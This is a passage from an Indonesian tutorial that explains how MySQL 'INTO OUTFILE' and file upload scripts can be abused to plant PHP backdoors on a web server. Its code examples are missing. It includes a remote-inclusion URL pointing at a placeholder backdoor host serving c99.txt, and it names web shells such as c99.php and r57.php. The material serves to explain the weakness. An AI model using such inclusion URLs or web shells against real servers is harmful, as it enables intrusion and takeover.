Bukalah browser anda dan ketikkan http://localhost/phpinfo2.php. Apa yang terjadi? Selanjutnya, bayangkanlah jika saya memiliki script PHP semacam ini:




Apa yang terjadi jika script semacam ini dimasukkan dalam field Content dan dieksekusi dengan “INTO OUTFILE” sebagai file dan suatu ketika dibuka oleh orang lain dengan : http://namaserver/url.php?url=http://alamatbackdoor/c99.txt?

Atau bisa juga justru script upload html yang dibuat seperti ini :



Dan si hacker melakukan upload backdoor, rootkit, atau script semacam c99.php, r57.php, DxShell? Terutama untuk Windows, default settingnya sangat rawan karena masih mengijinkan mysql untuk menuliskan dalam suatu direktori tanpa filter.